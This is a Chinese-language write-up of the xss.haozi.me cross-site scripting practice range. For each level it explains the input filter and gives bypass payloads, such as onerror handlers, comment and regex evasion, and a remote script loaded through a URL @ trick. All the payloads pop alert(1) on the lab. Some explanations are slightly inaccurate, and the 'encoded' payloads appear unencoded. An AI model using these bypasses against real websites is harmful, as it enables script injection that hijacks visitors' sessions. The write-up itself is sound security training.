目录
前言
xss实战第一部曲, 实战的靶场是部署在github上的, 所以可能有些延迟(你懂的), 然后给出地址:
https://xss.haozi.me/
玩法很简单, 进行xss注入直至alert(1)成功。
fight!
0x00
首先看看布局:
看到源码什么防护都没有, 直接抛一个常规payload过了(过马路一般):
<script>alert(1)</script>
0x01
看到注入点是在<textarea></textarea>标签中, 所以用上一题的方法是不会被解析的, 故需要去构造标签, 闭合<textarea></textarea>, 就可以注入了:
</textarea> <script>alert(1)</script> <textarea>
或者, 利用error事件也可以:
</textarea><img src="" onerror=alert(1)>
由于src是空, 所以肯定会报错, 故通过错误调用事件成功注入xss:
0x02
这题的注入点是把值转化为字符串, 然后显示在输入框内, 这样前两题的标签闭合注入也就失效了
提到闭合, 那么就好办了, 我们可以借鉴sql注入的方法, 将前面的双引号闭合, 然后注入新的标签:
" > <script>alert(1)</script>
同样, 利用error也可以, 方法有很多, 但思路都一样
0x03
发现括号, 方括号都被过滤了:
但是可以用 `` 来代替:
<script>alert`1`</script>
0x04
这题把括号、正括号和引号都过滤了:
可以考虑用html编码来绕过, 对编码不熟悉的可参考: 一次对浏览器解析和XSS的深度探究
将(1)进行html编码:
<img src="" onerror=alert(1)>
0x05
此题的注入点处于注释符之间, 而注释符的后半部被无情的替换为一个😂, 从而防止了注释被闭合:
这题涉及的知识比较牛, 就是注释方式有两种:
- <!-- 注释内容 -->
- <!-- 注释内容 --!>
所以就可以用第二种方法:
--!> <script>alert(1)</script><!--
0x06
这题用了正则表达式来过滤:
分析regex表达式:
/auto|on.*=|>/ig
它匹配了: auto 、以on开头且以=结尾的字符串、 >
所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合
但是它并没有匹配换行符, 可以通过换行来绕过匹配:
type="image" src="" onerror
=alert(1)
0x07
这题也是正则表达式, 将匹配到的替换为空:
接下来分析正则表达式:
/<\/?[^>]+>/gi
这里分为三部分来分析: /<\/?[^>]+>/gi
- <\/?
\转义符与/结合, 从而转义了/, 进而含义是匹配: </
再加上+ (匹配前面的子表达式一次或多次), 所以是匹配: < 或者 </
- [^>]+
首先要明白, 中括号的用法: [abc] => 匹配abc中的任意一个;
然后^符号的两种用法:
1. 限定开头: 比如, /^A/会匹配"An e"中的A,但是不会匹配"ab A"中的A
2. 取反(仅处于中括号中成立): 比如,[^a
-
zA
-
Z0
-
9
]表示 “找到一个非字母也非数字的字符”。
最后是+的含义:匹配前面的子表达式一次或多次。
所以, 总的来说,[^>]+ 匹配了除了^的任意字符的一次或者多次
- >
单纯匹配>。
总的表达式就是,匹配: </ 任意字符 >, 而且 /i 过滤了大小写
然后百撕不得其解... 看了一下答案, 发现html的单标签竟然也可以解析, html容错太厉害了吧
<img src="" onerror=alert(1)
0x08
正则过滤了: </style>
那么可以通过多加一个空格, 造成正则逃逸
</style ><script>alert(1)</script><style>
或者也可以利用正则式不能匹配空格来绕过:
</style
><script>alert(1)</script><style>
0x09
这题正则表达式白名单式地匹配了固定网址:
我们可以通过在正确的网址后面继续做文章, 说白了就是输入的xss中必须包含指定网址就可以了;
在com后面多加字符, 再把前面的双引号闭合, 再输入onerror错误事件:
https://www.segmentfault.com1" onerror=alert(1)
或者
https://www.segmentfault.com"></script><img src="" onerror="alert(1)
0x0A
这题更加牛*了....通过html转义, 把能注入的关键字都过滤了:
无法在网址后面加标签等操作了,
但是, 换个思路想(看了答案才知道), 可以直接引用指定网站下的目录文件来达到xss注入的目的,
比如: 在靶场的目录下有个j.js文件, 里面有alert(1);代码, 直接调用即可:
https://www.segmentfault.com.haozi.me/j.js
- 再者, 也可用url的@语法来进行跳转调用,
打个比方, 在游览器输入:
https://www.baidu.com@www.hao123.com
最终是跳转到www.hao123.com的网址的:
所以, 我们可以将写好的 j.js 文件, 内容为:
alert(1);
放到服务器 ( 公网 ) www.meta.com上:
然后@跳转访问即可 (beefhook原理)
https://www.segmentfault.com@https://www.meta.com/j.js
注意要都要为https或者http: (服务器还没申请ssl证书...所以不是https)
0x0B
程序将所有字母转换为大写:
这里需要明白的一点是
- HTML中对大小写不敏感
- JS中对大小写敏感
马上可以有一个思路: 对js代码进行编码处理, 而html部分不变
<img src="" onerror="alert(1)">
然后另一种方法是:
域名对大小写也不敏感 , 所有可以用上一题的方法, 调用靶机上自带的j.js代码, 完成xss注入:
<script src=https://www.segmentfault.com.haozi.me/j.js></script>
0x0C
这题和上一题相比, 只是多了一个对script的过滤, 用上一题的第一种方法即可:
- 第二种方法也可以, 思路和sql注入类似
发现script被替换为空, 那么可以前后进行畸形构造:
<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>
0x0D
把斜杠, 单、双引号都过滤了:
惊奇地发现回车可以破坏注释结构:
那么再直接注入alert(1), 再配合js的注释符 --> 注释掉'):
alert(1);
-->
0x0E
这题的正则表达式匹配情况:
也就是将尖括号后面追加一个下划线, 并且将所有字符大写:
比如: <a 变为: <_A
这几乎过滤了所有标签, 包括<script>, 首先想到编码处理:
不得行...
看了下答案,,,太牛了...逆向思维, 找到一个字符的大写是s的: ſ (古英文, 拉丁文):
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
尝试了一下在script中间html编码, 发现并不能被html解码, 因为它不在html标签中:
0x0F
这题将一些常用的注入字符进行了html编码处理:
但是, 它忽略了一点, 由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行, 所以可以说, 被过滤的字符可以用
发现input值处于单引号和括号中间,
注入使其闭合, 在注释掉后面的内容即可:
'); alert(1); //
或者也可闭合后面的单引号:
'); alert('1
0x10
没有过滤, 随意给window.date一个值, 再注入:
''; alert(1);
0x11
发现所有一些字符被转义了, 就连换行符等也被转义了:
但是发现竟然还可以用....原因是:
//虽然被转义成了\/\/, 但转义之后还是//, 在js中还是注释符 (勿与正则弄混)
"); alert(1); //
或者:
"); alert("1
0x12
这题将双引号转义了, 就不能好好闭合了:
但是, 换个思路, 它并没有将转义符转义, 那么我们可以将转义符转义:
\"); alert(1); //
补充一个的答案(github上看大佬的答案):
通过闭合前面的script标签, 内嵌一个script标签即可:
</script> <script>alert(1)</script><script>